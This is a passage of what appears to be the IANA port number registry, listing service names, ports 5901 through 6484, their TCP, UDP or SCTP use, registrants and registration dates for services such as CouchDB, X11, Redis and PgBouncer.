5901-5909 Unassigned
cm 5910 tcp Context Management [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
cm 5910 udp Context Management [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
cm 5910 sctp Context Management [Justin_Yu] [Justin_Yu] 2011-05-19
cpdlc 5911 tcp Controller Pilot Data Link [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
Communication
cpdlc 5911 udp Controller Pilot Data Link [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
Communication
cpdlc 5911 sctp Controller Pilot Data Link [Justin_Yu] [Justin_Yu] 2011-05-18
Communication
fis 5912 tcp Flight Information Services [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
fis 5912 udp Flight Information Services [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
fis 5912 sctp Flight Information Services [Justin_Yu] [Justin_Yu] 2011-05-25
ads-c 5913 tcp Automatic Dependent [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
Surveillance
ads-c 5913 udp Automatic Dependent [Eivan_Cerasi] [Eivan_Cerasi] 2008-10-10
Surveillance
ads-c 5913 sctp Automatic Dependent [Justin_Yu] [Justin_Yu] 2011-05-25
Surveillance
5914-5962 Unassigned
indy 5963 tcp Indy Application Server [Bjorn_Lantz] [Bjorn_Lantz] 2004-11
indy 5963 udp Indy Application Server [Bjorn_Lantz] [Bjorn_Lantz] 2004-11
5964-5967 Unassigned
mppolicy-v5 5968 tcp mppolicy-v5 [Yutaka_Ono] [Yutaka_Ono]
mppolicy-v5 5968 udp mppolicy-v5 [Yutaka_Ono] [Yutaka_Ono]
mppolicy-mgr 5969 tcp mppolicy-mgr [Yutaka_Ono] [Yutaka_Ono]
mppolicy-mgr 5969 udp mppolicy-mgr [Yutaka_Ono] [Yutaka_Ono]
5970-5983 Unassigned
couchdb 5984 tcp CouchDB [Noah_Slater] [Noah_Slater] 2007-11-27
couchdb 5984 udp CouchDB [Noah_Slater] [Noah_Slater] 2007-11-27
wsman 5985 tcp WBEM WS-Management HTTP [Jim_Davis] [Jim_Davis] 2006-11
wsman 5985 udp WBEM WS-Management HTTP [Jim_Davis] [Jim_Davis] 2006-11
wsmans 5986 tcp WBEM WS-Management HTTP over [Jim_Davis] [Jim_Davis] 2006-11
TLS/SSL
wsmans 5986 udp WBEM WS-Management HTTP over [Jim_Davis] [Jim_Davis] 2006-11
TLS/SSL
wbem-rmi 5987 tcp WBEM RMI [Jim_Davis] [Jim_Davis]
wbem-rmi 5987 udp WBEM RMI [Jim_Davis] [Jim_Davis]
wbem-http 5988 tcp WBEM CIM-XML (HTTP) [Jim_Davis] [Jim_Davis]
wbem-http 5988 udp WBEM CIM-XML (HTTP) [Jim_Davis] [Jim_Davis]
wbem-https 5989 tcp WBEM CIM-XML (HTTPS) [Jim_Davis] [Jim_Davis]
wbem-https 5989 udp WBEM CIM-XML (HTTPS) [Jim_Davis] [Jim_Davis]
wbem-exp-https 5990 tcp WBEM Export HTTPS [Denise_Eckstein] [Denise_Eckstein] 2004-11
wbem-exp-https 5990 udp WBEM Export HTTPS [Denise_Eckstein] [Denise_Eckstein] 2004-11
nuxsl 5991 tcp NUXSL [Kai_Kretschmann] [Kai_Kretschmann] 2002-03
nuxsl 5991 udp NUXSL [Kai_Kretschmann] [Kai_Kretschmann] 2002-03
consul-insight 5992 tcp Consul InSight Security [Arthur_Hillenaar] [Arthur_Hillenaar] 2006-01
consul-insight 5992 udp Consul InSight Security [Arthur_Hillenaar] [Arthur_Hillenaar] 2006-01
cim-rs 5993 tcp DMTF WBEM CIM REST [WS_Inc] [Jim_Davis_2] 2015-04-24
5993 udp Reserved
5994-5998 Unassigned
cvsup 5999 tcp CVSup [Randall_Atkinson_2] [Randall_Atkinson_2]
cvsup 5999 udp CVSup [Randall_Atkinson_2] [Randall_Atkinson_2]
Known
x11 6000-6063 tcp X Window System [Stephen_Gildea] [Stephen_Gildea] Unauthorized
Use on port
6003
Known
x11 6000-6063 udp X Window System [Stephen_Gildea] [Stephen_Gildea] Unauthorized
Use on port
6003
ndl-ahp-svc 6064 tcp NDL-AHP-SVC [John_Richmond_2] [John_Richmond_2]
ndl-ahp-svc 6064 udp NDL-AHP-SVC [John_Richmond_2] [John_Richmond_2]
winpharaoh 6065 tcp WinPharaoh [Basil_Lee] [Basil_Lee]
winpharaoh 6065 udp WinPharaoh [Basil_Lee] [Basil_Lee]
ewctsp 6066 tcp EWCTSP [Mark_Bailon] [Mark_Bailon]
ewctsp 6066 udp EWCTSP [Mark_Bailon] [Mark_Bailon]
6067 Unassigned 2007-07-17
gsmp-ancp 6068 tcp GSMP/ANCP [Avri_Doria] [Avri_Doria] [RFC6320]
6068 udp Reserved
trip 6069 tcp TRIP [Hussein_F_Salama] [Hussein_F_Salama]
trip 6069 udp TRIP [Hussein_F_Salama] [Hussein_F_Salama]
messageasap 6070 tcp Messageasap [Murray_Freeman] [Murray_Freeman]
messageasap 6070 udp Messageasap [Murray_Freeman] [Murray_Freeman]
ssdtp 6071 tcp SSDTP [Michael_Shearson_2] [Michael_Shearson_2]
ssdtp 6071 udp SSDTP [Michael_Shearson_2] [Michael_Shearson_2]
diagnose-proc 6072 tcp DIAGNOSE-PROC [Allan_Miller] [Allan_Miller]
diagnose-proc 6072 udp DIAGNOSE-PROC [Allan_Miller] [Allan_Miller]
directplay8 6073 tcp DirectPlay8 [John_Kane] [John_Kane]
directplay8 6073 udp DirectPlay8 [John_Kane] [John_Kane]
max 6074 tcp Microsoft Max [Jay_Beavers] [Jay_Beavers] 2006-02
max 6074 udp Microsoft Max [Jay_Beavers] [Jay_Beavers] 2006-02
dpm-acm 6075 tcp Microsoft DPM Access Control [Prabu_Ambravaneswara] [Prabu_Ambravaneswara] 2009-10-29
Manager
6075 udp Reserved
msft-dpm-cert 6076 tcp Microsoft DPM WCF [Microsoft_Corporation] [Prateek_Sharma] 2011-08-04
Certificates
6076 udp Reserved
iconstructsrv 6077 tcp iConstruct Server [iConstruct_Aus_Pty_Ltd] [Afshin_Jafari] 2012-12-21
6077 udp Reserved
6078-6079 Unassigned
gue 6080 udp Generic UDP Encapsulation [Tom_Herbert] [Tom_Herbert] 2015-03-05 [draft-herbert-gue]
6080 tcp Reserved
Generic Network
geneve 6081 udp Virtualization Encapsulation [Jesse_Gross] [Jesse_Gross] 2014-03-27 [draft-gross-geneve-00]
(Geneve)
6081 tcp Reserved
6082 tcp Reserved
APCO Project 25 Common Air
p25cai 6082 udp Interface - UDP [APCO_Project] [APCO_Project] 2011-05-13
encapsulation
6083 tcp Reserved
miami-bcast 6083 udp telecomsoftware miami [Peter_Steiner] [Peter_Steiner] 2011-02-22
broadcast
reload-config 6084 tcp Peer to Peer Infrastructure [IESG] [IETF_Chair] 2009-01-29 2013-03-26 [RFC6940]
Configuration
6084 udp Reserved
konspire2b 6085 tcp konspire2b p2p network [Jason_Rohrer] [Jason_Rohrer] 2002-10
konspire2b 6085 udp konspire2b p2p network [Jason_Rohrer] [Jason_Rohrer] 2002-10
pdtp 6086 tcp PDTP P2P [Tony_Arcieri] [Tony_Arcieri] 2006-03
pdtp 6086 udp PDTP P2P [Tony_Arcieri] [Tony_Arcieri] 2006-03
ldss 6087 tcp Local Download Sharing [Clifford_Heath] [Clifford_Heath] 2006-05
Service
ldss 6087 udp Local Download Sharing [Clifford_Heath] [Clifford_Heath] 2006-05
Service
doglms 6088 tcp SuperDog License Manager [SafeNet] [Rob_Tao] 2012-07-26
doglms-notify 6088 udp SuperDog License Manager [SafeNet] [Rob_Tao] 2012-07-26
Notifier
6089-6098 Unassigned
raxa-mgmt 6099 tcp RAXA Management [Sukanta_Ganguly] [Sukanta_Ganguly]
6099 udp Reserved
Known
synchronet-db 6100 tcp SynchroNet-db [Arne_Haugland] [Arne_Haugland] Unauthorized
Use on port
6100
Known
synchronet-db 6100 udp SynchroNet-db [Arne_Haugland] [Arne_Haugland] Unauthorized
Use on port
6100
synchronet-rtc 6101 tcp SynchroNet-rtc [Arne_Haugland] [Arne_Haugland]
synchronet-rtc 6101 udp SynchroNet-rtc [Arne_Haugland] [Arne_Haugland]
synchronet-upd 6102 tcp SynchroNet-upd [Arne_Haugland] [Arne_Haugland]
synchronet-upd 6102 udp SynchroNet-upd [Arne_Haugland] [Arne_Haugland]
rets 6103 tcp RETS [Jeremy_Crawford] [Jeremy_Crawford]
rets 6103 udp RETS [Jeremy_Crawford] [Jeremy_Crawford]
dbdb 6104 tcp DBDB [Aaron_Brick] [Aaron_Brick]
dbdb 6104 udp DBDB [Aaron_Brick] [Aaron_Brick]
primaserver 6105 tcp Prima Server [Prima_Designs_System] [Prima_Designs_System]
primaserver 6105 udp Prima Server [Prima_Designs_System] [Prima_Designs_System]
mpsserver 6106 tcp MPS Server [Prima_Designs_System] [Prima_Designs_System]
mpsserver 6106 udp MPS Server [Prima_Designs_System] [Prima_Designs_System]
etc-control 6107 tcp ETC Control [Steve_Polishinski] [Steve_Polishinski]
etc-control 6107 udp ETC Control [Steve_Polishinski] [Steve_Polishinski]
sercomm-scadmin 6108 tcp Sercomm-SCAdmin [Melinda_Tsao_2] [Melinda_Tsao_2]
sercomm-scadmin 6108 udp Sercomm-SCAdmin [Melinda_Tsao_2] [Melinda_Tsao_2]
globecast-id 6109 tcp GLOBECAST-ID [Piers_Scannell_2] [Piers_Scannell_2]
globecast-id 6109 udp GLOBECAST-ID [Piers_Scannell_2] [Piers_Scannell_2]
softcm 6110 tcp HP SoftBench CM [Scott_A_Kramer] [Scott_A_Kramer]
softcm 6110 udp HP SoftBench CM [Scott_A_Kramer] [Scott_A_Kramer]
spc 6111 tcp HP SoftBench Sub-Process [Scott_A_Kramer] [Scott_A_Kramer]
Control
spc 6111 udp HP SoftBench Sub-Process [Scott_A_Kramer] [Scott_A_Kramer]
Control
dtspcd 6112 tcp Desk-Top Sub-Process Control [Doug_Royer] [Doug_Royer] 2010-12-08
Daemon
dtspcd 6112 udp Desk-Top Sub-Process Control [Doug_Royer] [Doug_Royer] 2010-12-08
Daemon
dayliteserver 6113 tcp Daylite Server [Brent_Gulanowski] [Brent_Gulanowski] 2009-08-26
6113 udp Reserved
wrspice 6114 tcp WRspice IPC Service [Stephen_R_Whiteley] [Stephen_R_Whiteley] 2010-10-07
6114 udp Reserved
xic 6115 tcp Xic IPC Service [Stephen_R_Whiteley] [Stephen_R_Whiteley] 2010-10-07
6115 udp Reserved
xtlserv 6116 tcp XicTools License Manager [Stephen_R_Whiteley] [Stephen_R_Whiteley] 2010-10-07
Service
6116 udp Reserved
daylitetouch 6117 tcp Daylite Touch Sync [Brent_Gulanowski] [Brent_Gulanowski] 2009-08-26
6117 udp Reserved
tipc 6118 udp Transparent Inter Process [Ericsson] [Erik_Hugne] 2012-09-05
Communication
6118 tcp Reserved
6119-6120 Unassigned
spdy 6121 tcp SPDY for a faster web [Matthew_Lloyd] [Matthew_Lloyd] 2010-04-26
6121 udp Reserved
bex-webadmin 6122 tcp Backup Express Web Server [Catalogic_Software_Inc] [Chi_Shih_Chang] 2008-03-19 2015-02-04
bex-webadmin 6122 udp Backup Express Web Server [Catalogic_Software_Inc] [Chi_Shih_Chang] 2008-03-19 2015-02-04
backup-express 6123 tcp Backup Express [Catalogic_Software_Inc] [Chi_Shih_Chang] 2008-03-19 2015-02-04
backup-express 6123 udp Backup Express [Catalogic_Software_Inc] [Chi_Shih_Chang] 2008-03-19 2015-02-04
pnbs 6124 tcp Phlexible Network Backup [William_R_Lear_2] [William_R_Lear_2] 2008-10-23
Service
pnbs 6124 udp Phlexible Network Backup [William_R_Lear_2] [William_R_Lear_2] 2008-10-23
Service
6125-6129 Unassigned
damewaremobgtwy 6130 tcp The DameWare Mobile Gateway [SolarWinds] [David_Gayler] 2013-05-29
Service
6130 udp Reserved
6131-6132 Unassigned
nbt-wol 6133 tcp New Boundary Tech WOL [Elizabeth_Zilen] [Elizabeth_Zilen] 2004-11
nbt-wol 6133 udp New Boundary Tech WOL [Elizabeth_Zilen] [Elizabeth_Zilen] 2004-11
6134-6139 Unassigned
pulsonixnls 6140 tcp Pulsonix Network License [David_Manns] [David_Manns] 2008-02-28
Service
pulsonixnls 6140 udp Pulsonix Network License [David_Manns] [David_Manns] 2008-02-28
Service
meta-corp 6141 tcp Meta Corporation License [Osamu_Masuda] [Osamu_Masuda]
Manager
meta-corp 6141 udp Meta Corporation License [Osamu_Masuda] [Osamu_Masuda]
Manager
aspentec-lm 6142 tcp Aspen Technology License [Kevin_Massey] [Kevin_Massey]
Manager
aspentec-lm 6142 udp Aspen Technology License [Kevin_Massey] [Kevin_Massey]
Manager
watershed-lm 6143 tcp Watershed License Manager [David_Ferrero] [David_Ferrero]
watershed-lm 6143 udp Watershed License Manager [David_Ferrero] [David_Ferrero]
statsci1-lm 6144 tcp StatSci License Manager - 1 [Scott_Blachowicz] [Scott_Blachowicz]
statsci1-lm 6144 udp StatSci License Manager - 1 [Scott_Blachowicz] [Scott_Blachowicz]
statsci2-lm 6145 tcp StatSci License Manager - 2 [Scott_Blachowicz] [Scott_Blachowicz]
statsci2-lm 6145 udp StatSci License Manager - 2 [Scott_Blachowicz] [Scott_Blachowicz]
lonewolf-lm 6146 tcp Lone Wolf Systems License [Dan_Klein] [Dan_Klein]
Manager
lonewolf-lm 6146 udp Lone Wolf Systems License [Dan_Klein] [Dan_Klein]
Manager
montage-lm 6147 tcp Montage License Manager [Michael_Ubell] [Michael_Ubell]
montage-lm 6147 udp Montage License Manager [Michael_Ubell] [Michael_Ubell]
ricardo-lm 6148 tcp Ricardo North America [M_Flemming] [M_Flemming]
License Manager
ricardo-lm 6148 udp Ricardo North America [M_Flemming] [M_Flemming]
License Manager
tal-pod 6149 tcp tal-pod [Steven_Loomis] [Steven_Loomis]
tal-pod 6149 udp tal-pod [Steven_Loomis] [Steven_Loomis]
6150-6158 Unassigned
efb-aci 6159 tcp EFB Application Control [Jonathan_Schaaf] [Jonathan_Schaaf] 2010-02-10
Interface
6159 udp Reserved
ecmp 6160 tcp Emerson Extensible Control [Bryce_Beeston] [Bryce_Beeston] 2011-06-23
and Management Protocol
ecmp-data 6160 udp Emerson Extensible Control [Bryce_Beeston] [Bryce_Beeston] 2011-06-23
and Management Protocol Data
patrol-ism 6161 tcp PATROL Internet Srv Mgr [Portnoy_Boxman] [Portnoy_Boxman] 2005-01
patrol-ism 6161 udp PATROL Internet Srv Mgr [Portnoy_Boxman] [Portnoy_Boxman] 2005-01
patrol-coll 6162 tcp PATROL Collector [Portnoy_Boxman] [Portnoy_Boxman] 2005-01
patrol-coll 6162 udp PATROL Collector [Portnoy_Boxman] [Portnoy_Boxman] 2005-01
pscribe 6163 tcp Precision Scribe Cnx Port [Robert_W_Hodges] [Robert_W_Hodges] 2005-01
pscribe 6163 udp Precision Scribe Cnx Port [Robert_W_Hodges] [Robert_W_Hodges] 2005-01
6164-6199 Unassigned
Known
lm-x 6200 tcp LM-X License Manager by [Henrik_Goldman] [Henrik_Goldman] 2006-10 Unauthorized
X-Formation Use on port
6200
Known
lm-x 6200 udp LM-X License Manager by [Henrik_Goldman] [Henrik_Goldman] 2006-10 Unauthorized
X-Formation Use on port
6200
6201 tcp Reserved
Management of service nodes
thermo-calc 6201 udp in a processing grid for [Thermo-Calc_Software] [Thomas_Revesz] 2012-06-28
thermodynamic calculations
6202-6208 Unassigned
qmtps 6209 tcp QMTP over TLS [FEHCom] [Erwin_Hoffmann] 2015-01-09
qmtps 6209 udp QMTP over TLS [FEHCom] [Erwin_Hoffmann] 2015-01-09
6210-6221 Unassigned
radmind 6222 tcp Radmind Access Protocol [Patrick_M_McNeal] [Patrick_M_McNeal] 2006-03
radmind 6222 udp Radmind Access Protocol [Patrick_M_McNeal] [Patrick_M_McNeal] 2006-03
6223-6240 Unassigned
jeol-nsdtp-1 6241 tcp JEOL Network Services Data [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Transport Protocol 1
jeol-nsddp-1 6241 udp JEOL Network Services [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Dynamic Discovery Protocol 1
jeol-nsdtp-2 6242 tcp JEOL Network Services Data [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Transport Protocol 2
jeol-nsddp-2 6242 udp JEOL Network Services [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Dynamic Discovery Protocol 2
jeol-nsdtp-3 6243 tcp JEOL Network Services Data [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Transport Protocol 3
jeol-nsddp-3 6243 udp JEOL Network Services [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Dynamic Discovery Protocol 3
jeol-nsdtp-4 6244 tcp JEOL Network Services Data [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Transport Protocol 4
jeol-nsddp-4 6244 udp JEOL Network Services [Kevin_Wellwood] [Kevin_Wellwood] 2008-04-17
Dynamic Discovery Protocol 4
6245-6250 Unassigned
tl1-raw-ssl 6251 tcp TL1 Raw Over SSL/TLS [Jim_Humphreys] [Jim_Humphreys] 2008-01-29
tl1-raw-ssl 6251 udp TL1 Raw Over SSL/TLS [Jim_Humphreys] [Jim_Humphreys] 2008-01-29
tl1-ssh 6252 tcp TL1 over SSH [Jim_Humphreys] [Jim_Humphreys] 2008-01-25
tl1-ssh 6252 udp TL1 over SSH [Jim_Humphreys] [Jim_Humphreys] 2008-01-25
crip 6253 tcp CRIP [Mike_Rodbell] [Mike_Rodbell]
crip 6253 udp CRIP [Mike_Rodbell] [Mike_Rodbell]
6254-6266 Unassigned
gld 6267 tcp GridLAB-D User Interface [David_Chassin] [David_Chassin] 2010-12-10
6267 udp Reserved
grid 6268 tcp Grid Authentication [Jason_Hamilton] [Jason_Hamilton] 2006-06
grid 6268 udp Grid Authentication [Jason_Hamilton] [Jason_Hamilton] 2006-06
grid-alt 6269 tcp Grid Authentication Alt [Jason_Hamilton] [Jason_Hamilton] 2006-06
grid-alt 6269 udp Grid Authentication Alt [Jason_Hamilton] [Jason_Hamilton] 2006-06
6270-6299 Unassigned
bmc-grx 6300 tcp BMC GRX [Portnoy_Boxman] [Portnoy_Boxman]
bmc-grx 6300 udp BMC GRX [Portnoy_Boxman] [Portnoy_Boxman]
BMC CONTROL-D LDAP SERVER
bmc-ctd-ldap 6301 tcp IANA assigned this [Portnoy_Boxman_2] [Portnoy_Boxman_2] 2006-09
well-formed service name as
a replacement for
"bmc_ctd_ldap".
This entry is an alias to "bmc-ctd-ldap". This entry is now
bmc_ctd_ldap 6301 tcp BMC CONTROL-D LDAP SERVER [Portnoy_Boxman_2] [Portnoy_Boxman_2] 2006-09 historic, not usable for use with many common service
discovery mechanisms.
BMC CONTROL-D LDAP SERVER
bmc-ctd-ldap 6301 udp IANA assigned this [Portnoy_Boxman_2] [Portnoy_Boxman_2] 2006-09
well-formed service name as
a replacement for
"bmc_ctd_ldap".
This entry is an alias to "bmc-ctd-ldap". This entry is now
bmc_ctd_ldap 6301 udp BMC CONTROL-D LDAP SERVER [Portnoy_Boxman_2] [Portnoy_Boxman_2] 2006-09 historic, not usable for use with many common service
discovery mechanisms.
6302-6305 Unassigned
ufmp 6306 tcp Unified Fabric Management [Albert_Berlovitch] [Albert_Berlovitch] 2009-12-17
Protocol
ufmp 6306 udp Unified Fabric Management [Albert_Berlovitch] [Albert_Berlovitch] 2009-12-17
Protocol
6307-6314 Unassigned
scup 6315 tcp Sensor Control Unit Protocol [Sven_Kopacz] [Sven_Kopacz] 2010-09-01
scup-disc 6315 udp Sensor Control Unit Protocol [Sven_Kopacz] [Sven_Kopacz] 2010-09-01
Discovery Protocol
abb-escp 6316 tcp Ethernet Sensor [Jaime_Antolin] [Jaime_Antolin] 2008-09-25
Communications Protocol
abb-escp 6316 udp Ethernet Sensor [Jaime_Antolin] [Jaime_Antolin] 2008-09-25
Communications Protocol
nav-data-cmd 6317 tcp Navtech Radar Sensor Data [Navtech_Radar_Ltd] [Guy_Avery] 2013-02-20
Command
nav-data 6317 udp Navtech Radar Sensor Data [Navtech_Radar_Ltd] [Guy_Avery] 2013-02-20
6318-6319 Unassigned
repsvc 6320 tcp Double-Take Replication [James_Wilkinson] [James_Wilkinson] 2006-04
Service
repsvc 6320 udp Double-Take Replication [James_Wilkinson] [James_Wilkinson] 2006-04
Service
emp-server1 6321 tcp Empress Software [Srdjan_Holovac] [Srdjan_Holovac]
Connectivity Server 1
emp-server1 6321 udp Empress Software [Srdjan_Holovac] [Srdjan_Holovac]
Connectivity Server 1
emp-server2 6322 tcp Empress Software [Srdjan_Holovac] [Srdjan_Holovac]
Connectivity Server 2
emp-server2 6322 udp Empress Software [Srdjan_Holovac] [Srdjan_Holovac]
Connectivity Server 2
6323 Unassigned
hrd-ncs 6324 tcp HR Device Network [Hall_Research] [Vishal_Dharmadhikari] 2011-11-29
Configuration Service
hrd-ns-disc 6324 udp HR Device Network service [Hall_Research] [Vishal_Dharmadhikari] 2011-11-29
dt-mgmtsvc 6325 tcp Double-Take Management [Vision_Solutions] [James_Wilkinson2] 2012-06-06
Service
6325 udp Reserved
dt-vra 6326 tcp Double-Take Virtual Recovery [Vision_Solutions] [James_Wilkinson2] 2012-10-08
Assistant
6326 udp Reserved
6327-6342 Unassigned
sflow 6343 tcp sFlow traffic monitoring [Peter_Phaal] [Peter_Phaal] 2003-06
sflow 6343 udp sFlow traffic monitoring [Peter_Phaal] [Peter_Phaal] 2003-06
Argus-Spectr security and
streletz 6344 tcp fire-prevention systems [Argus_Spectr] [Kirill_Marinushkin] 2013-10-25
service
6344 udp Reserved
6345-6345 Unassigned
gnutella-svc 6346 tcp gnutella-svc [Serguei_Osokine] [Serguei_Osokine]
gnutella-svc 6346 udp gnutella-svc [Serguei_Osokine] [Serguei_Osokine]
gnutella-rtr 6347 tcp gnutella-rtr [Serguei_Osokine] [Serguei_Osokine]
gnutella-rtr 6347 udp gnutella-rtr [Serguei_Osokine] [Serguei_Osokine]
6348-6349 Unassigned
adap 6350 tcp App Discovery and Access [Thomas_Kjoernes] [Thomas_Kjoernes] 2010-06-22
Protocol
adap 6350 udp App Discovery and Access [Thomas_Kjoernes] [Thomas_Kjoernes] 2010-06-22
Protocol
6351-6354 Unassigned
pmcs 6355 tcp PMCS applications [Pavel_Mendl] [Pavel_Mendl] 2007-03
pmcs 6355 udp PMCS applications [Pavel_Mendl] [Pavel_Mendl] 2007-03
6356-6359 Unassigned
metaedit-mu 6360 tcp MetaEdit+ Multi-User [Steven_Kelly] [Steven_Kelly] 2007-11-12
metaedit-mu 6360 udp MetaEdit+ Multi-User [Steven_Kelly] [Steven_Kelly] 2007-11-12
6361-6362 Unassigned
ndn 6363 udp Named Data Networking [Regents_of_the_University_of_California] [Jeff_Burke] 2013-10-30
6363 tcp Reserved
6364-6369 Unassigned
metaedit-se 6370 tcp MetaEdit+ Server [Steven_Kelly] [Steven_Kelly] 2007-11-12
Administration
metaedit-se 6370 udp MetaEdit+ Server [Steven_Kelly] [Steven_Kelly] 2007-11-12
Administration
6371-6378 Unassigned
redis 6379 tcp An advanced key-value cache [Salvatore_Sanfilippo] [Itamar_Haber] 2015-04-23
and store
6379 udp Reserved
6380-6381 Unassigned
metatude-mds 6382 tcp Metatude Dialogue Server [Menno_Zweistra] [Menno_Zweistra]
metatude-mds 6382 udp Metatude Dialogue Server [Menno_Zweistra] [Menno_Zweistra]
6383-6388 Unassigned
clariion-evr01 6389 tcp clariion-evr01 [Dave_DesRoches] [Dave_DesRoches]
clariion-evr01 6389 udp clariion-evr01 [Dave_DesRoches] [Dave_DesRoches]
metaedit-ws 6390 tcp MetaEdit+ WebService API [Steven_Kelly] [Steven_Kelly] 2007-11-12
metaedit-ws 6390 udp MetaEdit+ WebService API [Steven_Kelly] [Steven_Kelly] 2007-11-12
6391-6399 Unassigned
boe-cms 6400 Business Objects CMS contact [Wade_Richards] [Wade_Richards] 2008-05-05
port
boe-was 6401 boe-was [Wade_Richards] [Wade_Richards] 2008-05-05
boe-eventsrv 6402 boe-eventsrv [Wade_Richards] [Wade_Richards] 2008-05-05
boe-cachesvr 6403 boe-cachesvr [Wade_Richards] [Wade_Richards] 2008-05-05
boe-filesvr 6404 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
boe-pagesvr 6405 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
boe-processsvr 6406 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
boe-resssvr1 6407 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
boe-resssvr2 6408 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
boe-resssvr3 6409 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
boe-resssvr4 6410 Business Objects Enterprise [Wade_Richards] [Wade_Richards] 2008-05-05
internal server
6411-6416 Unassigned
faxcomservice 6417 tcp Faxcom Message Service [Albert_Leung] [Albert_Leung] 2006-04
faxcomservice 6417 udp Faxcom Message Service [Albert_Leung] [Albert_Leung] 2006-04
syserverremote 6418 tcp SYserver remote commands [David_Ashkenazi] [David_Ashkenazi] 2010-03-23
6418 udp Reserved
svdrp 6419 tcp Simple VDR Protocol [Klaus_Schmidinger] [Klaus_Schmidinger] 2010-03-31
svdrp-disc 6419 udp Simple VDR Protocol [Klaus_Schmidinger] [Klaus_Schmidinger] 2015-05-08
Discovery
nim-vdrshell 6420 tcp NIM_VDRShell [Rik_Ditter] [Rik_Ditter] 2006-02
nim-vdrshell 6420 udp NIM_VDRShell [Rik_Ditter] [Rik_Ditter] 2006-02
nim-wan 6421 tcp NIM_WAN [Rik_Ditter] [Rik_Ditter] 2006-02
nim-wan 6421 udp NIM_WAN [Rik_Ditter] [Rik_Ditter] 2006-02
6422-6431 Unassigned
pgbouncer 6432 tcp PgBouncer [Marko_Kreen] [Marko_Kreen] 2009-02-13
6432 udp Reserved
6433-6441 Unassigned
tarp 6442 tcp Transitory Application [Chris_Peel_2] [Chris_Peel_2] 2014-05-16
Request Protocol
6442 udp Reserved
sun-sr-https 6443 tcp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
HTTPS Domain
sun-sr-https 6443 udp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
HTTPS Domain
Grid Engine Qmaster Service
sge-qmaster 6444 tcp IANA assigned this [Andreas_Haas] [Andreas_Haas] 2006-08
well-formed service name as
a replacement for
"sge_qmaster".
This entry is an alias to "sge-qmaster". This entry is now
sge_qmaster 6444 tcp Grid Engine Qmaster Service [Andreas_Haas] [Andreas_Haas] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
Grid Engine Qmaster Service
sge-qmaster 6444 udp IANA assigned this [Andreas_Haas] [Andreas_Haas] 2006-08
well-formed service name as
a replacement for
"sge_qmaster".
This entry is an alias to "sge-qmaster". This entry is now
sge_qmaster 6444 udp Grid Engine Qmaster Service [Andreas_Haas] [Andreas_Haas] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
Grid Engine Execution
Service
sge-execd 6445 tcp IANA assigned this [Andreas_Haas] [Andreas_Haas] 2006-08
well-formed service name as
a replacement for
"sge_execd".
Grid Engine Execution This entry is an alias to "sge-execd". This entry is now
sge_execd 6445 tcp Service [Andreas_Haas] [Andreas_Haas] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
Grid Engine Execution
Service
sge-execd 6445 udp IANA assigned this [Andreas_Haas] [Andreas_Haas] 2006-08
well-formed service name as
a replacement for
"sge_execd".
Grid Engine Execution This entry is an alias to "sge-execd". This entry is now
sge_execd 6445 udp Service [Andreas_Haas] [Andreas_Haas] 2006-08 historic, not usable for use with many common service
discovery mechanisms.
mysql-proxy 6446 tcp MySQL Proxy [Kay_Roepke] [Kay_Roepke] 2009-04-22
mysql-proxy 6446 udp MySQL Proxy [Kay_Roepke] [Kay_Roepke] 2009-04-22
6447-6454 Unassigned
skip-cert-recv 6455 tcp SKIP Certificate Receive [Tom_Markson] [Tom_Markson]
skip-cert-recv 6455 udp SKIP Certificate Receive [Tom_Markson] [Tom_Markson]
skip-cert-send 6456 tcp SKIP Certificate Send [Tom_Markson] [Tom_Markson]
skip-cert-send 6456 udp SKIP Certificate Send [Tom_Markson] [Tom_Markson]
6457-6463 Unassigned
Port assignment for medical
ieee11073-20701 6464 tcp device communication in [David_Gregorczyk] [David_Gregorczyk] 2017-03-02
accordance to IEEE
11073-20701
Port assignment for medical
ieee11073-20701 6464 udp device communication in [David_Gregorczyk] [David_Gregorczyk] 2017-03-02
accordance to IEEE
11073-20701
6465-6470 Unassigned
lvision-lm 6471 tcp LVision License Manager [Brian_McKinnon] [Brian_McKinnon]
lvision-lm 6471 udp LVision License Manager [Brian_McKinnon] [Brian_McKinnon]
6472-6479 Unassigned
sun-sr-http 6480 tcp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
HTTP Domain
sun-sr-http 6480 udp Service Registry Default [Paul_Sterk] [Paul_Sterk] 2006-03
HTTP Domain
servicetags 6481 tcp Service Tags [Peter_Schow] [Peter_Schow] 2007-01
servicetags 6481 udp Service Tags [Peter_Schow] [Peter_Schow] 2007-01
ldoms-mgmt 6482 tcp Logical Domains Management [Eric_Sharakan] [Eric_Sharakan] 2008-02-14
Interface
ldoms-mgmt 6482 udp Logical Domains Management [Eric_Sharakan] [Eric_Sharakan] 2008-02-14
Interface
SunVTS-RMI 6483 tcp SunVTS RMI [Sumit_Arora] [Sumit_Arora] 2007-06
SunVTS-RMI 6483 udp SunVTS RMI [Sumit_Arora] [Sumit_Arora] 2007-06
sun-sr-jms 6484 tcp Service Registry Default JMS [Paul_Sterk] [Paul_Sterk] 2006-03
Domain
